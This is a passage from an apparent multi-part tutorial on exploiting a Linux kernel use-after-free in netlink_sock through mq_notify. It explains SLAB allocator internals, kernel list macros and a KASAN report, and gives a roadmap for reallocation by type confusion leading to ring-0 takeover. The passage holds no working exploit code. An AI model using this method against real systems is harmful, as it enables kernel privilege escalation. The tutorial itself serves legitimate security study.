and free them with _free\_pages\(\)_. The allocator responsible to handle
those requests is called the _Zoned Page Frame Allocator_. Since this
allocator uses a buddy system algorithm, it is often just called the **Buddy
Allocator**.

## Slab Allocators

The granularity offered by the buddy allocator is not suitable for every
situation. For instance, if the kernel only wants to allocate 128 bytes of
memory, it might ask for a page but then, 3968 bytes of memory will get
wasted. This is called internal fragmentation. To overcome this issue, Linux
implements more fine-grained allocators: **Slab Allocators**. To keep it
simple, consider that the Slab Allocator is responsible for handling the
equivalence of _malloc\(\) / free\(\)_ for the kernel.

The Linux kernel offers three different Slab allocators \(only one is used\):

  * SLAB allocator: the historical allocator, focused on hardware cache optimization \(Debian still uses it\).
  * SLUB allocator: the "new" standard allocator since 2007 \(used by Ubuntu/CentOS/Android\).
  * SLOB allocator: designed for embedded systems with very little memory.

**NOTE** : We will use the following naming convention: Slab is "a" Slab
allocator \(be it SLAB, SLUB, SLOB\). The SLAB \(capital\) is one of the three
allocators. While a slab \(lowercase\) is an object used by Slab allocators.

We cannot cover every Slab allocator here. Our target uses the SLAB allocator
which is well documented. The SLUB seems to be more widespread nowadays and
there isn't much documentation but the code itself. Fortunately, \(we think
that\) the SLUB is actually easier to understand. There is no "cache coloring"
stuff, it does not track "full slab", there is no internal/external slab
management, etc. In order to know which Slab is deployed on your target, read
the config file:

[code]

    $ grep "CONFIG_SL.B=" /boot/config-$(uname -r)
    
[/code]

The _reallocation_ part will change depending on the deployed Slab allocator.
While being more complex to understand, **it is easier to exploit _use-after-
free_ on the SLAB** than the SLUB. On the other hand, exploiting the SLUB
brings another benefit: slab aliasing \(i.e. more objects are stored in the
"general" kmemcaches\).

## Cache and slab

Because the kernel tends to allocate object of the same size again and again,
it would be inefficient to request/release pages of the same memory area. To
prevent this, the Slab allocator stores object of the same size in a _cache_
\(a pool of allocated page frames\). A cache is described by the **struct
kmem\_cache** \(also called "cache descriptor"\):

[code]

    struct kmem_cache {
      // ...
        unsigned int        num;              // number of objects per slab
        unsigned int        gfporder;         // logarithm number of contiguous page frames in a slab
        const char          *name;            // name of the cache 
        int                 obj_size;         // object size in this cache
        struct kmem_list3   **nodelists;      // holds list of empty/partial/full slabs
        struct array_cache  *array[NR_CPUS];  // per-cpu cache
    };
    
[/code]

The objects themselves are stored in slabs. **A slab is basically one or more
contiguous page frame\(s\)**. A single slab can hold _num_ objects of size
_obj\_size_. For instance, a slab spanned across a single page \(4096 bytes\)
can holds 4 objects of 1024 bytes.

The status of a single slab \(e.g. number of free objects\) is described by
the **struct slab** \(also called "slab management structure"\):

[code]

    struct slab {
        struct list_head list;
        unsigned long colouroff;
        void *s_mem;                  // virtual address of the first object
        unsigned int inuse;           // number of "used" object in the slab
        kmem_bufctl_t free;           // the use/free status of each objects
        unsigned short nodeid;
    };
    
[/code]

The slab management structure can be either stored in the slab itself
\(internal\) or in another memory location \(external\). The rationale behind
this is to reduce external fragmentation. Where the slab management structure
is stored depends on the object size of the cache. If the object size is
smaller than 512 bytes, the slab management structure is stored inside the
slab otherwise it is stored externally.

**NOTE** : Do not worry too much about this internal/external stuff, we are
exploiting a _use-after-free_. On the other hand, if you are exploiting a
_heap overflow_ , understanding this would be mandatory.

Retrieving the _virtual address_ of an object in a slab can be done with the
**s\_mem** field in combination with offsets. To keep it simple, consider that
the first object address is _s\_mem_ , the second object is _s\_mem +
obj\_size_ , the third _s\_mem + 2\*obj\_size_ , etc... This is actually more
complex because of "colouring" stuff used for hardware cache efficiency, but
this is out-of-topic.

## Slabs Housekeeping and Buddy interactions

When a new slab is created, the Slab allocator politely asks the Buddy
allocator for page frames. Conversely, when a slab is destroyed, it gives its
pages back to the Buddy. Of course, the kernel tries to reduce slab
creation/destruction for performance reasons.

**NOTE** : One might wonder why _gfporder_ \(_struct kmem\_cache_\) is the
"logarithm number" of contiguous page frames. The reason is that the Buddy
allocator does not work with byte sizes. Instead it works with power-of-two
"order". That is, an order of 0 means 1 page, order of 1 means 2 _contiguous_
pages, order of 2 means 4 _contiguous_ pages, etc.

For each cache, the Slab allocator keeps three doubly-linked lists of slabs:

  * full slabs: all objects of a slab are used \(i.e. allocated\)
  * free slabs: all objects of a slab are free \(i.e. the slab is empty\)
  * partial slabs: some objects of the slab are used and other are free

These lists are stored in the cache descriptor \(_struct kmem\_cache_\) in the
**nodelists** field. Each slab belong to one of these lists. A slab can be
moved between them during allocation or free operations \(e.g. when allocating
the last free object of a partial list, the slab is moved to the _full slabs
list_\).

In order to reduce the interactions with the Buddy allocator, the **SLAB
allocator keeps a _pool_ of several free/partial slabs**. When allocating an
object, it tries to find a free object from those lists. If every slab is
full, the Slab needs to create new slabs by asking more pages to the Buddy.
This is known as a _cache\_grow\(\)_ operation. Conversely, if the Slab has
"too much" free slabs, it destroys some to give pages back to the Buddy.

## Per-CPU Array Cache

In the previous section, we've seen than during an allocation, the Slab needs
to _scan_ the free or the partial slabs list. Finding a free slot through list
scanning is somehow inefficient \(e.g. accessing lists require some locking,
need to find the offset in the slab, etc.\).

In order to _boost_ the performance, the Slab stores an array of pointers to
free objects. This array is the **struct array\_cache** data structure and is
stored in the **array** field of a _struct kmem\_cache_.

[code]

    struct array_cache {
        unsigned int avail;       // number of pointers available AND index to the first free slot
        unsigned int limit;       // maximum number of pointers
        unsigned int batchcount;
        unsigned int touched;
        spinlock_t lock;
        void *entry[];            //  the actual pointers array
    };
    
[/code]

**The _array\_cache_ itself is used as a _Last-In First-Out \(LIFO\)_ data
structure \(i.e. a stack\).** This is an _awesome_ property from an exploiter
point-of-view\! This is the main reason why exploiting use-after-free is
easier on SLAB than SLUB.

In the _fastest_ code path, allocating memory is as simple as:

[code]

    static inline void *____cache_alloc(struct kmem_cache *cachep, gfp_t flags) // yes... four "_"
    {
        void *objp;
        struct array_cache *ac;
    
        ac = cpu_cache_get(cachep);
    
        if (likely(ac->avail)) {
            STATS_INC_ALLOCHIT(cachep);
            ac->touched = 1;
            objp = ac->entry[--ac->avail];        // <-----
      }
    
      // ... cut ...
    
      return objp;
    }
    
[/code]

In the very same way, the _fastest_ free code path is:

[code]

    static inline void __cache_free(struct kmem_cache *cachep, void *objp)
    {
        struct array_cache *ac = cpu_cache_get(cachep);
    
      // ... cut ...
    
        if (likely(ac->avail < ac->limit)) {
            STATS_INC_FREEHIT(cachep);
            ac->entry[ac->avail++] = objp;          // <-----
            return;
      }
    }
    
[/code]

In other words, allocation/free operations have a _O\(1\)_ complexity in the
best scenario case.

**WARNING** : If the _fastest_ path fails, then the allocation algorithm falls
back to a slower solution \(scan free/partial slab lists\) or even slower
\(cache grow\).

Note that **there is one array\_cache per cpu**. The array cache of the
currently running cpu can be retrieved with **cpu\_cache\_get\(\)**. Doing so
\(like any per-cpu variables\) allows to reduce _locking_ operations, hence
boost the performance.

**WARNING: Each object pointer in the array cache might belong to different
slabs\!**

## General Purpose and Dedicated Caches

In order to reduce _internal fragmentation_ , the kernel creates several
caches with a power-of-two object size \(32, 64, 128, ...\). It guarantees
that the internal fragmentation will always be smaller than 50%. In fact, when
the kernel tries to allocate memory of a particular size, it searches the
closest upper-bounded cache where the object can fit. For instance, allocating
100 bytes will land into the 128 bytes cache.

In the SLAB, general purpose caches are prefixed with "size-" \(e.g.
"size-32", "size-64"\). In the SLUB, general purpose caches are prefixed with
"kmalloc-" \(e.g. "kmalloc-32", ...\). Since we think the SLUB convention is
better, we will always use it even if our target runs with the SLAB.

**In order to allocate/free memory from a _general purpose_ cache, the kernel
uses _kmalloc\(\)_ and _kfree\(\)_.**

Because some objects will be allocated/freed a lot, the kernel creates some
special "dedicated" caches. For instance, the _struct file_ object is an
object used in lots of places which has its own dedicated cache \(filp\). By
creating a dedicated cache for these objects, it guarantees that the internal
fragmentation of those caches will be near zero.

**In order to allocate/free memory from a _dedicated_ cache, the kernel uses
_kmem\_cache\_alloc\(\)_ and _kmem\_cache\_free\(\)_.**

In the end, both _kmalloc\(\)_ and _kmem\_cache\_alloc\(\)_ land in the
**\_\_cache\_alloc\(\)** function. Similarly, both _kfree\(\)_ and
_kmem\_cache\_free\(\)_ end in **\_\_cache\_free\(\)**.

**NOTE** : You can see the full list of caches as well as handful information
in **/proc/slabinfo**.

## The container\_of\(\) Macro

The **container\_of\(\)** macro is used all over the place in the Linux
kernel. Sooner or later you will need to understand it. Let's look at the
code:

[code]

    #define container_of(ptr, type, member) ({          \
        const typeof( ((type *)0)->member ) *__mptr = (ptr);    \
        (type *)( (char *)__mptr - offsetof(type,member) );})
    
[/code]

The purpose of _container\_of\(\)_ macro is to **retrieve the address of a
structure from one of its members**. It uses two macros:

  * typeof\(\) \- define a compile-time type
  * offsetof\(\) \- find the offset \(in bytes\) of a field in a structure

That is, it takes the current field address and subtracts its offset from the
"embedder" structure. Let's take a concrete example:

[code]

    struct foo {
      unsigned long a;
      unsigned long b;  // offset=8
    }
    
    void* get_foo_from_b(unsigned long *ptr)
    {
      // "ptr" points to the "b" field of a "struct foo"
      return container_of(ptr, struct foo, b);
    }
    
    void bar() {
      struct foo f;
      void *ptr;
    
      printf("f=%p\n", &f);         // <----- print 0x0000aa00
      printf("&f->b=%p\n", &f->b);  // <----- print 0x0000aa08
    
      ptr = get_foo_from_b(&f->b);
      printf("ptr=%p\n", ptr);      // <----- print 0x0000aa00, the address of "f"
    }
    
[/code]

## Doubly-Linked Circular List Usage

The Linux kernel makes an extensive use of doubly-linked circular list. It is
important to understand them in general AND it is required here to reach our
arbitrary call primitive. Instead of just looking at the actual
implementation, we will develop a simple example to understand how they are
used. By the end of this section, you should be able to **understand the
_list\_for\_each\_entry\_safe\(\)_ macro**.

**NOTE** : To keep this section simple, we will simply use "list" instead of
_"doubly-linked circular list"_.

To handle the list, Linux uses a single structure:

[code]

    struct list_head {
        struct list_head *next, *prev;
    };
    
[/code]

This is a dual-purpose structure that can be either used to:

  1. Represent the list itself \(i.e. the "head"\)
  2. Represent an element in a list

A list can be initialized with the **INIT\_LIST\_HEAD** function which makes
both _next_ and _prev_ field point to the list itself.

[code]

    static inline void INIT_LIST_HEAD(struct list_head *list)
    {
        list->next = list;
        list->prev = list;
    }
    
[/code]

Let's define a fictional _resource\_owner_ structure:

[code]

    struct resource_owner
    {
      char name[16];
      struct list_head consumer_list;
    };
    
    void init_resource_owner(struct resource_owner *ro)
    {
      strncpy(ro->name, "MYRESOURCE", 16);
      INIT_LIST_HEAD(&ro->consumer_list);
    }
    
[/code]

To use a list, each element \(e.g. consumer\) of that list must **embed** a
_struct list\_head_ field. For instance:

[code]

    struct resource_consumer
    {
      int id;
      struct list_head list_elt;    // <----- this is NOT a pointer
    };
    
[/code]

This consumer is added/removed to the list with **list\_add\(\)** and
**list\_del\(\)** function respectively. A typical code is:

[code]

    int add_consumer(struct resource_owner *ro, int id)
    {
      struct resource_consumer *rc;
    
      if ((rc = kmalloc(sizeof(*rc), GFP_KERNEL)) == NULL)
        return -ENOMEM;
    
      rc->id = id;
      list_add(&rc->list_elt, &ro->consumer_list);
    
      return 0;
    }
    
[/code]

Next, we want to release a consumer but we only have a pointer from the list
entry \(bad design intended\). We retrieve the structure with
_container\_of\(\)_ macro, delete the element from the list and free it:

[code]

    void release_consumer_by_entry(struct list_head *consumer_entry)
    {
      struct resource_consumer *rc;
    
      // "consumer_entry" points to the "list_elt" field of a "struct resource_consumer"
      rc = container_of(consumer_entry, struct resource_consumer, list_elt);
    
      list_del(&rc->list_elt);
      kfree(rc);
    }
    
[/code]

Then, we want to provide a helper to retrieve a resource consumer based on its
_id_. We will need to iterate over the whole list using the
**list\_for\_each\(\)** macro:

[code]

    #define list_for_each(pos, head) \
        for (pos = (head)->next; pos != (head); pos = pos->next)
    
    #define list_entry(ptr, type, member) \
        container_of(ptr, type, member)
    
[/code]

As we can see, we need to use the _container\_of\(\)_ macro because
_list\_for\_each\(\)_ only gives us a _struct list\_head_ pointer \(i.e.
iterator\). This operation is often replaced with the **list\_entry\(\)**
macro \(which does the exact same thing, but has a _better_ name\):

[code]

    struct resource_consumer* find_consumer_by_id(struct resource_owner *ro, int id)
    {
      struct resource_consumer *rc = NULL;
      struct list_head *pos = NULL;
    
      list_for_each(pos, &ro->consumer_list) {
        rc = list_entry(pos, struct resource_consumer, list_elt);
        if (rc->id == id)
          return rc;
      }
    
      return NULL; // not found
    }
    
[/code]

Having to declare a _struct list\_head_ variable and using
_list\_entry\(\)/container\_of\(\)_ macros is actually a bit heavy. Because of
this, there is the **list\_for\_each\_entry\(\)** macro \(which uses
_list\_first\_entry\(\)_ and _list\_next\_entry\(\)_ macros\):

[code]

    #define list_first_entry(ptr, type, member) \
        list_entry((ptr)->next, type, member)
    
    #define list_next_entry(pos, member) \
        list_entry((pos)->member.next, typeof(*(pos)), member)
    
    #define list_for_each_entry(pos, head, member)              \
        for (pos = list_first_entry(head, typeof(*pos), member);    \
             &pos->member != (head);                    \
             pos = list_next_entry(pos, member))
    
[/code]

We can re-write the previous code with a more compact version \(without
declaring a _struct list\_head_ anymore\):

[code]

    struct resource_consumer* find_consumer_by_id(struct resource_owner *ro, int id)
    {
      struct resource_consumer *rc = NULL;
    
      list_for_each_entry(rc, &ro->consumer_list, list_elt) {
        if (rc->id == id)
          return rc;
      }
    
      return NULL; // not found
    }
    
[/code]

Next, we want a function that releases every consumer. This raises two
problems:

  * our _release\_consumer\_by\_entry\(\)_ function is poorly designed and takes a _struct list\_head_ pointer in argument
  * the _list\_for\_each\(\)_ macro expect the list to be **immutable**

That is, we can't release an element while walking the list. This would lead
to _use-after-free_ \(they are everywhere...\). To address this issue, the
**list\_for\_each\_safe\(\)** has been created. It "prefetches" the next
element:

[code]

    #define list_for_each_safe(pos, n, head) \
        for (pos = (head)->next, n = pos->next; pos != (head); \
            pos = n, n = pos->next)
    
[/code]

It implies that we will need to declare two _struct list\_head_ :

[code]

    void release_all_consumers(struct resource_owner *ro)
    {
      struct list_head *pos, *next;
    
      list_for_each_safe(pos, next, &ro->consumer_list) {
        release_consumer_by_entry(pos);
      }
    }
    
[/code]

Finally, we realized that _release\_consumer\_by\_entry\(\)_ was ugly, so we
rewrite it using a _struct resource\_consumer_ pointer in argument \(no more
container\_of\(\)\):

[code]

    void release_consumer(struct resource_consumer *rc)
    {
      if (rc)
      {
        list_del(&rc->list_elt);
        kfree(rc);
      }
    }
    
[/code]

Because it does not take a _struct list\_head_ in argument anymore, our
_release\_all\_consumers\(\)_ function can be rewritten with the
**list\_for\_each\_entry\_safe\(\)** macro:

[code]

    #define list_for_each_entry_safe(pos, n, head, member)          \
        for (pos = list_first_entry(head, typeof(*pos), member),    \
            n = list_next_entry(pos, member);           \
             &pos->member != (head);                    \
             pos = n, n = list_next_entry(n, member))
    
[/code]

That is:

[code]

    void release_all_consumers(struct resource_owner *ro)
    {
      struct resource_consumer *rc, *next;
    
      list_for_each_entry_safe(rc, next, &ro->consumer_list, list_elt) {
        release_consumer(rc);
      }
    }
    
[/code]

Nice, our code does not use _struct list\_head_ variables anymore.

Hopefully, you now understand the **list\_for\_each\_entry\_safe\(\)** macro.
If not, read this section again. It is **mandatory** to understand it because
it will be used to reach our _arbitrary call primitive_ in the exploit. We
will even look at it in assembly \(because of offsets\)\! Better to understand
it now...

* * *
# Use-after-free 101

This section will cover the basic theory of use-after-free, expose the pre-
requisites to exploit them and the most common exploitation strategy.

## The Pattern

It is hard to find a better name for this kind of vulnerability as it
describes everything in its name. The simplest pattern of a _use-after-free_
is:

[code]

    int *ptr = (int*) malloc(sizeof(int));
    *ptr = 54;
    free(ptr);
    *ptr = 42; // <----- use-after-free
    
[/code]

The reason why this is a bug is that nobody knows what is in memory \(pointed
by _ptr_\) after the call to _free\(ptr\)_. It is called a **dangling
pointer**. Reading and/or writing operations are an undefined behavior. In the
best scenario case, this will just be a _no-op_. In the worst scenario case,
this can crash an application \(or the kernel\).

## Information Gathering

Exploiting _use-after-free_ bugs in kernel often follows the same scheme.
Before trying to, you must be able to answer those questions:

  1. What is the allocator? How does it work?
  2. What object are we talking about?
  3. What _cache_ does it belong to? Object size? Dedicated/general?
  4. Where is it allocated/freed?
  5. Where the object is being used after being freed? How \(reading/writing\)?

To answer those questions, the Google guys developed a nice Linux patch: KASAN
\(Kernel Address SANitizer\). A typical output is:

[code]

    ================================================================== 
    BUG: KASAN: use-after-free in debug_spin_unlock                             // <--- the "where"
    kernel/locking/spinlock_debug.c:97 [inline] 
    BUG: KASAN: use-after-free in do_raw_spin_unlock+0x2ea/0x320 
    kernel/locking/spinlock_debug.c:134 
    Read of size 4 at addr ffff88014158a564 by task kworker/1:1/5712            // <--- the "how"
    
    CPU: 1 PID: 5712 Comm: kworker/1:1 Not tainted 4.11.0-rc3-next-20170324+ #1 
    Hardware name: Google Google Compute Engine/Google Compute Engine, 
    BIOS Google 01/01/2011 
    Workqueue: events_power_efficient process_srcu 
    Call Trace:                                                                 // <--- call trace that reach it
     __dump_stack lib/dump_stack.c:16 [inline] 
     dump_stack+0x2fb/0x40f lib/dump_stack.c:52 
     print_address_description+0x7f/0x260 mm/kasan/report.c:250 
     kasan_report_error mm/kasan/report.c:349 [inline] 
     kasan_report.part.3+0x21f/0x310 mm/kasan/report.c:372 
     kasan_report mm/kasan/report.c:392 [inline] 
     __asan_report_load4_noabort+0x29/0x30 mm/kasan/report.c:392 
     debug_spin_unlock kernel/locking/spinlock_debug.c:97 [inline] 
     do_raw_spin_unlock+0x2ea/0x320 kernel/locking/spinlock_debug.c:134 
     __raw_spin_unlock_irq include/linux/spinlock_api_smp.h:167 [inline] 
     _raw_spin_unlock_irq+0x22/0x70 kernel/locking/spinlock.c:199 
     spin_unlock_irq include/linux/spinlock.h:349 [inline] 
     srcu_reschedule+0x1a1/0x260 kernel/rcu/srcu.c:582 
     process_srcu+0x63c/0x11c0 kernel/rcu/srcu.c:600 
     process_one_work+0xac0/0x1b00 kernel/workqueue.c:2097 
     worker_thread+0x1b4/0x1300 kernel/workqueue.c:2231 
     kthread+0x36c/0x440 kernel/kthread.c:231 
     ret_from_fork+0x31/0x40 arch/x86/entry/entry_64.S:430 
    
    Allocated by task 20961:                                                      // <--- where is it allocated
     save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:59 
     save_stack+0x43/0xd0 mm/kasan/kasan.c:515 
     set_track mm/kasan/kasan.c:527 [inline] 
     kasan_kmalloc+0xaa/0xd0 mm/kasan/kasan.c:619 
     kmem_cache_alloc_trace+0x10b/0x670 mm/slab.c:3635 
     kmalloc include/linux/slab.h:492 [inline] 
     kzalloc include/linux/slab.h:665 [inline] 
     kvm_arch_alloc_vm include/linux/kvm_host.h:773 [inline] 
     kvm_create_vm arch/x86/kvm/../../../virt/kvm/kvm_main.c:610 [inline] 
     kvm_dev_ioctl_create_vm arch/x86/kvm/../../../virt/kvm/kvm_main.c:3161 [inline] 
     kvm_dev_ioctl+0x1bf/0x1460 arch/x86/kvm/../../../virt/kvm/kvm_main.c:3205 
     vfs_ioctl fs/ioctl.c:45 [inline] 
     do_vfs_ioctl+0x1bf/0x1780 fs/ioctl.c:685 
     SYSC_ioctl fs/ioctl.c:700 [inline] 
     SyS_ioctl+0x8f/0xc0 fs/ioctl.c:691 
     entry_SYSCALL_64_fastpath+0x1f/0xbe 
    
    Freed by task 20960:                                                          // <--- where it has been freed
     save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:59 
     save_stack+0x43/0xd0 mm/kasan/kasan.c:515 
     set_track mm/kasan/kasan.c:527 [inline] 
     kasan_slab_free+0x6e/0xc0 mm/kasan/kasan.c:592 
     __cache_free mm/slab.c:3511 [inline] 
     kfree+0xd3/0x250 mm/slab.c:3828 
     kvm_arch_free_vm include/linux/kvm_host.h:778 [inline] 
     kvm_destroy_vm arch/x86/kvm/../../../virt/kvm/kvm_main.c:732 [inline] 
     kvm_put_kvm+0x709/0x9a0 arch/x86/kvm/../../../virt/kvm/kvm_main.c:747 
     kvm_vm_release+0x42/0x50 arch/x86/kvm/../../../virt/kvm/kvm_main.c:758 
     __fput+0x332/0x800 fs/file_table.c:209 
     ____fput+0x15/0x20 fs/file_table.c:245 
     task_work_run+0x197/0x260 kernel/task_work.c:116 
     exit_task_work include/linux/task_work.h:21 [inline] 
     do_exit+0x1a53/0x27c0 kernel/exit.c:878 
     do_group_exit+0x149/0x420 kernel/exit.c:982 
     get_signal+0x7d8/0x1820 kernel/signal.c:2318 
     do_signal+0xd2/0x2190 arch/x86/kernel/signal.c:808 
     exit_to_usermode_loop+0x21c/0x2d0 arch/x86/entry/common.c:157 
     prepare_exit_to_usermode arch/x86/entry/common.c:194 [inline] 
     syscall_return_slowpath+0x4d3/0x570 arch/x86/entry/common.c:263 
     entry_SYSCALL_64_fastpath+0xbc/0xbe 
    
    The buggy address belongs to the object at ffff880141581640 
     which belongs to the cache kmalloc-65536 of size 65536                         // <---- the object's cache
    The buggy address is located 36644 bytes inside of 
     65536-byte region [ffff880141581640, ffff880141591640) 
    The buggy address belongs to the page:                                          // <---- even more info
    page:ffffea000464b400 count:1 mapcount:0 mapping:ffff880141581640 
    index:0x0 compound_mapcount: 0 
    flags: 0x200000000008100(slab|head) 
    raw: 0200000000008100 ffff880141581640 0000000000000000 0000000100000001 
    raw: ffffea00064b1f20 ffffea000640fa20 ffff8801db800d00 
    page dumped because: kasan: bad access detected 
    
    Memory state around the buggy address: 
     ffff88014158a400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 
     ffff88014158a480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 
    >ffff88014158a500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 
                                                           ^ 
     ffff88014158a580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 
     ffff88014158a600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 
    ================================================================== 
    
[/code]

Pretty neat, isn't it?

**NOTE** : The previous error report has been taken from syzkaller, another
nice tool.

Unfortunately, you might not be able to run KASAN in your lab setup. As far as
we remember, KASAN requires a minimum kernel version of 4.x and does not
support every architecture. In that case, you will need to do this job _by
hand_.

In addition, KASAN only shows you one place where the use-after-free occurs.
In reality, there could be **more dangling pointers** \(more on this later\).
Identifying them requires additional code review.

## Exploiting Use-After-Free with Type Confusion

There are multiple ways to exploit a _use-after-free_ bug. For instance, one
can try to play with allocator meta-data. Doing it this way in the kernel can
be a bit tricky. It also increases the difficulty that you will face while
trying to _repair_ the kernel by the end of the exploit. Reparation will be
covered in part 4. This is not a skippable step, otherwise the kernel can
crash when your exploit exits \(we already experienced it\).

A common way to exploit UAF in the Linux kernel is through **type confusion**.
A type confusion occurs when the kernel misinterprets the data type. It uses a
data \(generally a pointer\) that it thinks has one type, while it actually
points to another type of data. Because it is developed in C, type checking is
performed during compilation. **The cpu actually doesn't care about _types_ ,
it only dereferences addresses with fixed offsets**.

In order to exploit an UAF with type confusion, the roadmap is:

  1. Prepare the kernel in a suitable state \(e.g. make a socket ready to block\)
  2. Trigger the bug that frees the targeted object while keeping dangling pointers untouched
  3. Immediately _re-allocate_ with another object where you can control data
  4. Trigger a use-after-free's _primitive_ from the dangling pointers
  5. Ring-0 takeover
  6. Repair the kernel and clean everything
  7. Enjoy\!

If you tailored your exploit correctly, the only step that can actually fail
is the step 3\). We will see why.

**WARNING** : Exploiting _use-after-free_ with "type confusion" imposes that
the target object belongs to a **general purpose cache**. If this is not the
case, there are techniques to deal with that but this is a bit more
"advanced", we won't cover it here.

* * *
# Analyze the UAF \(cache, allocation, free\)

In this section, we will answer the questions from the previous information
gathering step.

## What is the allocator? How does it work?

In our target, the allocator is the SLAB allocator. As mentioned in core
concepts 3, we can retrieve this information from the _kernel config file_.
Another way to do this is to check the name of the general purpose caches from
**/proc/slabinfo**. Are they prefixed by _"size-"_ or _"kmalloc-"_?

We also have a better view on what data structure it manipulates, especially
the **array\_cache**.

**NOTE** : If you do not master your allocator yet \(especially the
kmalloc\(\)/kfree\(\) code paths\), it might be time to study it now.

## What object are we talking about?

If it hasn't been obvious yet from part 1 and part 2, the object that is
subject to a _use-after-free_ is: **struct netlink\_sock**. It has the
following definition:

[code]

    // [include/net/netlink_sock.h]
    
    struct netlink_sock {
        /* struct sock has to be the first member of netlink_sock */
        struct sock     sk;
        u32         pid;
        u32         dst_pid;
        u32         dst_group;
        u32         flags;
        u32         subscriptions;
        u32         ngroups;
        unsigned long       *groups;
        unsigned long       state;
        wait_queue_head_t   wait;
        struct netlink_callback *cb;
        struct mutex        *cb_mutex;
        struct mutex        cb_def_mutex;
        void            (*netlink_rcv)(struct sk_buff *skb);
        struct module       *module;
    };
    
[/code]

Note that this is quite obvious in our case. Sometimes, it might take a while
to figure out the object in UAF. Especially, when a particular object has the
ownership of various sub-objects \(i.e. it handles their lifecycle\). The UAF
might lie in one of those sub-objects \(i.e. not the _top/master_ one\).

## Where is it freed?

In part 1 we saw that while entering _mq\_notify\(\)_ the netlink's sock
refcounter was set to one. The refcounter gets increased by one with
_netlink\_getsockbyfilp\)_ , decreased by one with _netlink\_attachskb\(\)_
and then decreased by one \(another time\) in _netlink\_detachskb\(\)_. Which
gaves us the following call trace:

[code]

    - mq_notify
    - netlink_detachskb
    - sock_put          // <----- atomic_dec_and_test(&sk->sk_refcnt)
    
[/code]

Because the refcounter reaches zero, it is then freed by calling
**sk\_free\(\)** :

[code]

    void sk_free(struct sock *sk)
    {
        /*
         * We subtract one from sk_wmem_alloc and can know if
         * some packets are still in some tx queue.
         * If not null, sock_wfree() will call __sk_free(sk) later
         */
        if (atomic_dec_and_test(&sk->sk_wmem_alloc))
            __sk_free(sk);
    }
    
[/code]

Remember that **sk- >sk\_wmem\_alloc** is the "current" size of sending
buffer. During netlink\_sock initialization, this is set to one. Because we
did not send any message from the target socket, it is still one when entering
_sk\_free\(\)_. That is, it will call **\_\_sk\_free\(\)** :

[code]

          // [net/core/sock.c]
    
          static void __sk_free(struct sock *sk)
          {
            struct sk_filter *filter;
    
    [0]     if (sk->sk_destruct)
              sk->sk_destruct(sk);
    
            // ... cut ...
    
    [1]     sk_prot_free(sk->sk_prot_creator, sk);
          }
    
[/code]

In \[0\], \_\_sk\_free\(\) gives the opportunity to the sock to call a
"specialized" destructor. In \[1\], it calls **sk\_prot\_free\(\)** with the
_sk\_prot\_create_ argument of type **struct proto**. Finally, **the object is
freed depending on its cache** \(cf. next section\):

[code]

    static void sk_prot_free(struct proto *prot, struct sock *sk)
    {
        struct kmem_cache *slab;
        struct module *owner;
    
        owner = prot->owner;
        slab = prot->slab;
    
        security_sk_free(sk);
        if (slab != NULL)
            kmem_cache_free(slab, sk);    // <----- this one or...
        else
            kfree(sk);                    // <----- ...this one ?
        module_put(owner);
    }
    
[/code]

That is, the final "free" calltrace is:

[code]

    - <<< what ever calls sock_put() on a netlink_sock (e.g. netlink_detachskb()) >>>
    - sock_put
    - sk_free
    - __sk_free
    - sk_prot_free
    - kmem_cache_free or kfree
    
[/code]

**NOTE** : Remember that both _sk_ and _netlink\_sock_ address **aliases**
\(cf. part 1\). That is, freeing the _struct sock_ pointer will release the
whole _netlink\_sock_ object\!

We need to resolve the last function call. To do this, we need to know which
cache it belongs to...

## What cache does it belong to?

Remember that Linux is an object-oriented system with lots of abstraction? We
already saw multiple layers of abstractions, hence specialization \(cf. Core
Concept \#1\).

The _struct proto_ brings another layer of abstraction, we have:

  1. socket's file type \(struct file\) specialized with: **socket\_file\_ops**
  2. netlink's BSD socket \(struct socket\) specialized with: **netlink\_ops**
  3. netlink's sock \(struct sock\) specialized with: **netlink\_proto** and **netlink\_family\_ops**

**NOTE** : We will get back to _netlink\_family\_ops_ in the next section.

Unlike _socket\_file\_ops_ and _netlink\_ops_ which are mostly just a VFT, the
_struct proto_ is a bit more complex. It holds a VFT of course, but it also
describes information about the life cycle of the "struct sock". In
particular, "how" a _specialized struct sock_ object can be allocated.

In our case, the two most important fields are **slab** and **obj\_size** :

[code]

    // [include/net/sock.h]
    
    struct proto {
      struct kmem_cache *slab;      // the "dedicated" cache (if any)
      unsigned int obj_size;        // the "specialized" sock object size
      struct module *owner;         // used for Linux module's refcounting
      char name[32];
      // ...
    }
    
[/code]

For netlink\_sock object, the struct proto is _netlink\_proto_ :

[code]

    static struct proto netlink_proto = {
        .name     = "NETLINK",
        .owner    = THIS_MODULE,
        .obj_size = sizeof(struct netlink_sock),
    };
    
[/code]

**The _obj\_size_ does _NOT_ give the final size of the allocation, just a
part of it \(cf. next section\).**

As we can see, lots of fields are left empty \(i.e. NULL\). Does it mean that
_netlink\_proto_ do not have a dedicated cache? Well, we can't conclude yet
because the _slab_ field is defined during **protocol registration**. We will
not cover how protocol registration works, but we need a bit of understanding
however.

In Linux, network modules are either loaded at boot time, or in a "lazy" way
with modules \(i.e. the first time a particular socket is used\). In either
case, the "init" function is called. In the netlink case, this function is
**netlink\_proto\_init\(\)**. It does \(at least\) two things:

  1. call **proto\_register\( &netlink\_proto, 0\)**
  2. call **sock\_register\( &netlink\_family\_ops\)**

**The _proto\_register\(\)_ determines whether the protocol must use a
_dedicated cache_ or not.** If so, it creates a dedicated _kmem\_cache_
otherwise, it will use the general purpose caches. This depends on the
_alloc\_slab_ parameter \(2nd argument\) and is implemented with:

[code]

    // [net/core/sock.c]
    
    int proto_register(struct proto *prot, int alloc_slab)
    {
        if (alloc_slab) {
            prot->slab = kmem_cache_create(prot->name,            // <----- creates a kmem_cache named "prot->name"
                        sk_alloc_size(prot->obj_size), 0,         // <----- uses the "prot->obj_size"
                        SLAB_HWCACHE_ALIGN | proto_slab_flags(prot),
                        NULL);
    
            if (prot->slab == NULL) {
                printk(KERN_CRIT "%s: Can't create sock SLAB cache!\n",
                       prot->name);
                goto out;
            }
    
        // ... cut (allocates other things) ...
        }
    
        // ... cut (register in the proto_list) ...
    
        return 0;
    
